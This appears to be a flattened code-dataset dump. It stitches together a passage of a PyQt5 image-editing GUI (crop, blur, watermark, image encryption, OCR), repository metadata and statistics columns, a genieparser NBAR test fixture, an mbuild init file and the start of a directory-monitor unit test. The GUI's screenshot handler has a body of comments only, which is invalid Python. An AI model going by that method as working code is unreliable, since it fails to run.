brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_ocr.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_ocr.setFont(font) self.btn_ocr.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_ocr.setObjectName("btn_ocr") self.verticalLayout_2.addWidget(self.btn_ocr) self.btn_screenshot = QtWidgets.QToolButton(self.frame_5) self.btn_screenshot.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_screenshot.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_screenshot.setFont(font) self.btn_screenshot.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_screenshot.setObjectName("btn_screenshot") self.verticalLayout_2.addWidget(self.btn_screenshot) self.btn_pick_color = QtWidgets.QToolButton(self.frame_5) self.btn_pick_color.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_pick_color.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_pick_color.setFont(font) self.btn_pick_color.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_pick_color.setObjectName("btn_pick_color") self.verticalLayout_2.addWidget(self.btn_pick_color) self.slider_blur = QtWidgets.QSlider(self.frame_4) self.slider_blur.setEnabled(True) self.slider_blur.setGeometry(QtCore.QRect(10, 130, 71, 22)) self.slider_blur.setOrientation(QtCore.Qt.Horizontal) self.slider_blur.setObjectName("slider_blur") self.slider_compress = QtWidgets.QSlider(self.frame_4) self.slider_compress.setEnabled(True) self.slider_compress.setGeometry(QtCore.QRect(10, 170, 71, 22)) self.slider_compress.setOrientation(QtCore.Qt.Horizontal) self.slider_compress.setObjectName("slider_compress") self.slider_lightness = QtWidgets.QSlider(self.frame_4) self.slider_lightness.setEnabled(True) self.slider_lightness.setGeometry(QtCore.QRect(11, 50, 71, 22)) self.slider_lightness.setOrientation(QtCore.Qt.Horizontal) self.slider_lightness.setObjectName("slider_lightness") self.horizontalLayout.addWidget(self.frame_4) self.frame_3 = QtWidgets.QFrame(self.centralwidget) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName("frame_3") self.gridLayout = QtWidgets.QGridLayout(self.frame_3) self.gridLayout.setObjectName("gridLayout") self.img_panel = ImageLabel(self.frame_3) self.img_panel.setObjectName("img_panel") self.gridLayout.addWidget(self.img_panel, 0, 0, 1, 1) self.horizontalLayout.addWidget(self.frame_3) self.verticalLayout_3.addLayout(self.horizontalLayout) MainWindow.setCentralWidget(self.centralwidget) self.action = QtWidgets.QAction(MainWindow) self.action.setObjectName("action") def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "ImageUtil")) self.btn_open.setText(_translate("MainWindow", "打开")) self.btn_save.setText(_translate("MainWindow", "保存")) self.btn_undo.setText(_translate("MainWindow", "恢复")) self.btn_confirm.setText(_translate("MainWindow", "确定")) self.btn_cancel.setText(_translate("MainWindow", "取消")) self.btn_clip.setText(_translate("MainWindow", "裁剪")) self.btn_lightness.setText(_translate("MainWindow", "亮度")) self.btn_watermark.setText(_translate("MainWindow", "水印")) self.btn_blur.setText(_translate("MainWindow", "模糊")) self.btn_compress.setText(_translate("MainWindow", "压缩")) self.btn_filter.setText(_translate("MainWindow", "滤镜")) self.btn_encode.setText(_translate("MainWindow", "加密")) self.btn_decode.setText(_translate("MainWindow", "解密")) self.btn_ocr.setText(_translate("MainWindow", "OCR")) self.btn_screenshot.setText(_translate("MainWindow", "截图")) self.btn_pick_color.setText(_translate("MainWindow", "取色")) self.action.setText(_translate("MainWindow", "调整")) @QtCore.pyqtSlot() def on_btn_open_clicked(self): """ “打开” 按钮的点击事件 """ img_name, img_type = QFileDialog.getOpenFileName(self, "打开图片", "", "*.jpg;;*.png;;*.jpeg") if (img_name == "") or (img_name is None): self.__show_warning_message_box("未选择图片") return img = cv2.imread(img_name) # 读取图像 # img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # 转换图像通道 self.showImage(img) self.__current_img = img self.__last_img = self.__current_img self.__original_img = copy.deepcopy(self.__current_img) self.__original_img_path = img_name def showImage(self, img, is_grayscale=False): x = img.shape[1] # 获取图像大小 y = img.shape[0] self.zoomscale = 1 # 图片放缩尺度 bytesPerLine = 3 * x if len(img.shape) == 2: # 判断是否为灰度图，如果是灰度图，需要转换成三通道图 img = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR) frame = QImage(img.data, x, y, bytesPerLine, QImage.Format_RGB888).rgbSwapped() pix = QPixmap.fromImage(frame) self.img_panel.setPixmap(pix) self.img_panel.repaint() def __show_warning_message_box(self, msg): QMessageBox.warning(self, "警告", msg, QMessageBox.Ok) def __show_info_message_box(self, msg): QMessageBox.information(self, "提示", msg, QMessageBox.Ok) @QtCore.pyqtSlot() def on_btn_undo_clicked(self): """ “恢复” 按钮的点击事件，将图片恢复到最初的状态 :return: """ if self.__current_img is None: self.__show_warning_message_box("未选择图片") return self.__current_img = self.__original_img self.__last_img = self.__current_img self.showImage(self.__current_img) @QtCore.pyqtSlot() def on_btn_save_clicked(self): if self.__current_img is None: self.__show_warning_message_box("未选择图片") return ext_name = self.__original_img_path[self.__original_img_path.rindex("."):] img_path, img_type = QFileDialog.getSaveFileName(self, "保存图片", self.__original_img_path, "*" + ext_name) cv2.imwrite(img_path, self.__current_img) @QtCore.pyqtSlot() def on_btn_confirm_clicked(self): self.control.hide() # 根据操作类型进行相应的处理 if self.__current_operation == "clip": x_start, x_end = self.img_panel.img_x_start, self.img_panel.img_x_end y_start, y_end = self.img_panel.img_y_start, self.img_panel.img_y_end self.__current_img = crop_image(self.__current_img, x_start, x_end, y_start, y_end) self.showImage(self.__current_img) self.img_panel.clearRect() self.img_panel.flag = False # 标记 img_panel 不能绘制矩形，从而禁止选择裁剪区域 elif self.__current_operation == "lightness": self.slider_lightness.setValue(int((self.__lightness_max + self.__lightness_min) / 2)) elif self.__current_operation == "blur": x_start, x_end = self.img_panel.img_x_start, self.img_panel.img_x_end y_start, y_end = self.img_panel.img_y_start, self.img_panel.img_y_end # 内核大小 (3, 3) (9, 9) (15, 15) self.__current_img = gaussian_blur(self.__current_img, x_start, x_end, y_start, y_end, (9, 9), 5) self.showImage(self.__current_img) self.img_panel.clearRect() self.img_panel.flag = False # 标记 img_panel 不能绘制矩形 self.__last_img = self.__current_img # 将当前操作得到的图片结果保存到 last_img 中（相对于后面的操作而言，本次操作的结果就是 last 的） self.__current_operation = None @QtCore.pyqtSlot() def on_btn_cancel_clicked(self): self.control.hide() if self.__current_operation in ["clip", "blur"]: self.img_panel.clearRect() self.img_panel.flag = False # 标记 img_panel 不能绘制矩形，从而禁止选择裁剪区域 elif self.__current_operation == "lightness": self.slider_lightness.setValue(int((self.__lightness_max + self.__lightness_min) / 2)) self.__current_img = self.__last_img self.showImage(self.__current_img) self.__current_operation = None @QtCore.pyqtSlot() def on_btn_clip_clicked(self): if self.__current_img is None: self.__show_warning_message_box("未选择图片") return self.__current_operation = "clip" self.img_panel.flag = True # 标记 img_panel 可以绘制矩形，从而选择裁剪区域 self.img_panel.setCursor(Qt.CrossCursor) self.control.show() @QtCore.pyqtSlot() def on_slider_lightness_sliderPressed(self): """ “亮度” 滑动块滑动按压操作的事件监听（即开始拖动） """ if self.__current_img is None: self.__show_warning_message_box("未选择图片") return self.__current_operation = "lightness" self.control.show() @QtCore.pyqtSlot() def on_slider_lightness_sliderReleased(self): """ “亮度” 滑动块滑动释放操作的事件监听（即停止拖动） """ if self.__current_img is None: return self.__current_img = adjust_lightness(self.__last_img, self.slider_lightness.value()) self.showImage(self.__current_img) self.slider_lightness.hide() @QtCore.pyqtSlot() def on_btn_screenshot_clicked(self): """ 截图 """ # screen_img = QGuiApplication.primaryScreen().grabWindow(QApplication.desktop().winId()) # screen_img_path = "{0}/ui/screenshot.png".format(os.getcwd()) # label = ImageLabel() # label.showFullScreen() # label.setPixmap(screen_img) # screen_img.save(screen_img_path) # self.showImage(screen_img) @QtCore.pyqtSlot() def on_btn_pick_color_clicked(self): """ 取色 """ # 保持对话框一直存在，需要将其实例化为全局变量或调用 exec_() （该方法只存在于 Dialog 控件，Widget 控件没有该方法） # 方法一 # self.colorCatcher = ColorCatcher() # self.colorCatcher.show() # 方法二 colorCatcher = ColorCatcher() colorCatcher.exec_() @QtCore.pyqtSlot() def on_btn_watermark_clicked(self): """ 添加水印 :return: """ if self.__current_img is None: self.__show_warning_message_box("未选择图片") return self.__current_operation = "watermark" dialog = WatermarkDialog() dialog.show() dialog.exec_() position = dialog.get_watermark_position() watermark = dialog.get_watermark_text() self.__current_img = add_watermark(self.__last_img, watermark, position, (255, 0, 0)) # self.__current_img = add_watermark(self.__current_img, watermark, position, (255, 0, 0)) self.showImage(self.__current_img) self.control.show() @QtCore.pyqtSlot() def on_btn_blur_clicked(self): """ 高斯模糊 :return: """ if self.__current_img is None: self.__show_warning_message_box("未选择图片") return self.__current_operation = "blur" self.img_panel.flag = True # 标记 img_panel 可以绘制矩形，从而选择模糊区域 self.img_panel.setCursor(Qt.CrossCursor) self.control.show() @QtCore.pyqtSlot() def on_btn_compress_clicked(self): """ 压缩图片大小 """ if self.__current_img is None: self.__show_warning_message_box("未选择图片") return dialog = CompressDialog() dialog.show() dialog.exec_() # 获取用户输入的长、宽 w = dialog.input_width.text() h = dialog.input_height.text() # 判断用户是否输入长、宽 if (w == "") or (w is None): self.__show_warning_message_box("未输入宽度") return if (h == "") or (h is None): self.__show_warning_message_box("未输入长度") return self.__current_img = compress_img(self.__current_img, (int(w), int(h))) self.showImage(self.__current_img) self.__show_info_message_box("压缩完成") @QtCore.pyqtSlot() def on_btn_img_stitching_clicked(self): left_img_path = "D:/Code/03-python-code/Python/ImageUtil/com/zeketian/imageutil/hnu1.png" left_img = cv2.imread(left_img_path) # 读取左边的图像 left_img_path2 = "D:/Code/03-python-code/Python/ImageUtil/com/zeketian/imageutil/hnu2.png" left_img2 = cv2.imread(left_img_path2) # 读取左边的图像 result_img = img_stitching([left_img, left_img2]) self.showImage(result_img) @QtCore.pyqtSlot() def on_btn_filter_clicked(self): if self.__current_img is None: self.__show_warning_message_box("未选择图片") return dialog = FilterDialog() dialog.show() dialog.exec_() self.__current_img = add_filter(self.__last_img, dialog.filter_type) self.showImage(self.__current_img) self.control.show() @QtCore.pyqtSlot() def on_btn_encode_clicked(self): if self.__current_img is None: self.__show_warning_message_box("未选择图片") return dir_path = QFileDialog.getExistingDirectory(self, "请选择保存密钥的文件夹", os.getcwd()) self.__current_img = img_encoding(self.__current_img, dir_path) self.showImage(self.__current_img) @QtCore.pyqtSlot() def on_btn_decode_clicked(self): if self.__current_img is None: self.__show_warning_message_box("未选择图片") return # imgName, imgType = QFileDialog.getOpenFileName(self, "选择密钥文件", "", "*.npy;;*.png;;All Files(*)") key_file_path, key_type = QFileDialog.getOpenFileName(self, "请选择密钥文件", "", "*.npy") self.__current_img = img_decoding(self.__current_img, key_file_path) self.showImage(self.__current_img) @QtCore.pyqtSlot() def on_btn_ocr_clicked(self): if self.__current_img is None: self.__show_warning_message_box("未选择图片") return img = None with open(self.__original_img_path, 'rb') as fp: img = fp.read() result = img_ocr(img) dialog = OcrDialog() dialog.plainTextEdit.setPlainText(result) dialog.show() dialog.exec_()

54.525522

116

0.679252

11,288

94,002

5.58478

0.03579

0.150743

0.090608

0.118923

0.857252

0.843086

0.818372

0.806856

0.805285

0.800828

0

0.042309

0.197666

94,002

1,723

117

54.557168

0.793546

0.014574

0

0.780275

1

0.001248

0.021818

0.001765

0

1

0.014981

false

0

0.006866

0

0.031835

0

null

0

1

0

1

0

null

0

8

01dfc30ccff4f4b951e8a331b71319e4d867400e

6,034

py

Python

src/genie/libs/parser/iosxe/tests/ShowIpNbarDiscovery/cli/equal/golden_output1_expected.py

gwoodwa1/genieparser

def326da3745c0beb59df575e5f94f9cba961947

[ "Apache-2.0" ]

null

src/genie/libs/parser/iosxe/tests/ShowIpNbarDiscovery/cli/equal/golden_output1_expected.py

gwoodwa1/genieparser

def326da3745c0beb59df575e5f94f9cba961947

[ "Apache-2.0" ]

null

src/genie/libs/parser/iosxe/tests/ShowIpNbarDiscovery/cli/equal/golden_output1_expected.py

gwoodwa1/genieparser

def326da3745c0beb59df575e5f94f9cba961947

[ "Apache-2.0" ]

null

expected_output = { 'interface': { 'GigabitEthernet1': { 'protocol': { 'ssh': { 'in_packet_count': 422, 'out_packet_count': 451, 'in_byte_count': 3000, 'out_byte_count': 4000, 'in_5min_bit_rate_bps': 3000, 'out_5min_bit_rate_bps': 4000, 'in_5min_max_bit_rate_bps': 3000, 'out_5min_max_bit_rate_bps': 4000 }, 'unknown': { 'in_packet_count': 215, 'out_packet_count': 8, 'in_byte_count': 3000, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 3000, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 3000, 'out_5min_max_bit_rate_bps': 0 }, 'dns': { 'in_packet_count': 42, 'out_packet_count': 0, 'in_byte_count': 2000, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 2000, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 2000, 'out_5min_max_bit_rate_bps': 0 }, 'ldp': { 'in_packet_count': 83, 'out_packet_count': 81, 'in_byte_count': 0, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 0, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 0, 'out_5min_max_bit_rate_bps': 0 }, 'eigrp': { 'in_packet_count': 84, 'out_packet_count': 84, 'in_byte_count': 0, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 0, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 0, 'out_5min_max_bit_rate_bps': 0 }, 'ospf': { 'in_packet_count': 42, 'out_packet_count': 42, 'in_byte_count': 0, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 0, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 0, 'out_5min_max_bit_rate_bps': 0 }, 'ping': { 'in_packet_count': 9, 'out_packet_count': 9, 'in_byte_count': 0, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 0, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 0, 'out_5min_max_bit_rate_bps': 0 }, 'Total': { 'in_packet_count': 897, 'out_packet_count': 675, 'in_byte_count': 8000, 'out_byte_count': 4000, 'in_5min_bit_rate_bps': 8000, 'out_5min_bit_rate_bps': 4000, 'in_5min_max_bit_rate_bps': 8000, 'out_5min_max_bit_rate_bps': 4000 } } }, 'GigabitEthernet2': { 'protocol': { 'unknown': { 'in_packet_count': 213, 'out_packet_count': 7, 'in_byte_count': 3000, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 3000, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 3000, 'out_5min_max_bit_rate_bps': 0 }, 'dns': { 'in_packet_count': 42, 'out_packet_count': 0, 'in_byte_count': 2000, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 2000, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 2000, 'out_5min_max_bit_rate_bps': 0 }, 'ldp': { 'in_packet_count': 81, 'out_packet_count': 83, 'in_byte_count': 0, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 0, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 0, 'out_5min_max_bit_rate_bps': 0 }, 'eigrp': { 'in_packet_count': 84, 'out_packet_count': 84, 'in_byte_count': 0, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 0, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 0, 'out_5min_max_bit_rate_bps': 0 }, 'ospf': { 'in_packet_count': 42, 'out_packet_count': 42, 'in_byte_count': 0, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 0, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 0, 'out_5min_max_bit_rate_bps': 0 }, 'Total': { 'in_packet_count': 462, 'out_packet_count': 216, 'in_byte_count': 5000, 'out_byte_count': 0, 'in_5min_bit_rate_bps': 5000, 'out_5min_bit_rate_bps': 0, 'in_5min_max_bit_rate_bps': 5000, 'out_5min_max_bit_rate_bps': 0 } } } } }

39.437908

53

0.402386

609

6,034

3.387521

0.073892

0.190015

0.271449

0.202618

0.843917

0.836161

0.805138

0.767814

0

0.094517

0.507292

6,034

152

54

39.697368

0.599395

0

0.684211

0

0.362943

0.162413

0

1

0

false

0

null

0

1

0

1

0

null

0

9

175d635b5dd426759e6383fe94453b69c326058f

135

py

Python

mbuild/lib/molecules/__init__.py

zijiewu3/mbuild

dc6a1053ddec7b5682b0413bd5b2d2a187cd24e8

[ "MIT" ]

null

mbuild/lib/molecules/__init__.py

zijiewu3/mbuild

dc6a1053ddec7b5682b0413bd5b2d2a187cd24e8

[ "MIT" ]

null

mbuild/lib/molecules/__init__.py

zijiewu3/mbuild

dc6a1053ddec7b5682b0413bd5b2d2a187cd24e8

[ "MIT" ]

null

"""Library of molecules for mBuild.""" from mbuild.lib.molecules.ethane import Ethane from mbuild.lib.molecules.methane import Methane

33.75

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1

0

7

bd579b66f91b83aea6aaf4097e329f1924d12873

8,116

py

Python

components/wifi_server/app_test/test_directory_monitor.py

AustinHellerRepo/ArduinoBluetoothInterface

4b5a4c94c7111bb3870db6b622809b5dfd497443

[ "MIT" ]

1

2021-10-14T20:36:42.000Z

components/wifi_server/app_test/test_directory_monitor.py

AustinHellerRepo/DeviceMessagingSystem

4b5a4c94c7111bb3870db6b622809b5dfd497443

[ "MIT" ]

null

components/wifi_server/app_test/test_directory_monitor.py

AustinHellerRepo/DeviceMessagingSystem

4b5a4c94c7111bb3870db6b622809b5dfd497443

[ "MIT" ]

null

from app.directory_monitor import DirectoryMonitor import tempfile import unittest import os import time import threading from datetime import datetime from typing import List import uuid def create_random_file_name(directory_path: str, extension: str) -> str: _file_name = f"{uuid.uuid4()}{extension}" _file_path = os.path.join(directory_path, _file_name) with open(_file_path, "w") as _file_handle: pass return _file_path class DirectoryMonitorTest(unittest.TestCase): def test_initialize_0(self): _temp_directory = tempfile.TemporaryDirectory() _is_directory_exists = os.path.exists(_temp_directory.name) self.assertEqual(True, _is_directory_exists) _directory_monitor = DirectoryMonitor( directory_path=_temp_directory.name, include_subdirectories=False, delay_between_checks_seconds=1.0 ) self.assertIsNotNone(_directory_monitor) _temp_directory.cleanup() def test_wait_0(self): # start, delay too late for change _temp_directory = tempfile.TemporaryDirectory() _is_directory_exists = os.path.exists(_temp_directory.name) self.assertEqual(True, _is_directory_exists) _directory_monitor = DirectoryMonitor( directory_path=_temp_directory.name, include_subdirectories=False, delay_between_checks_seconds=1.0 ) 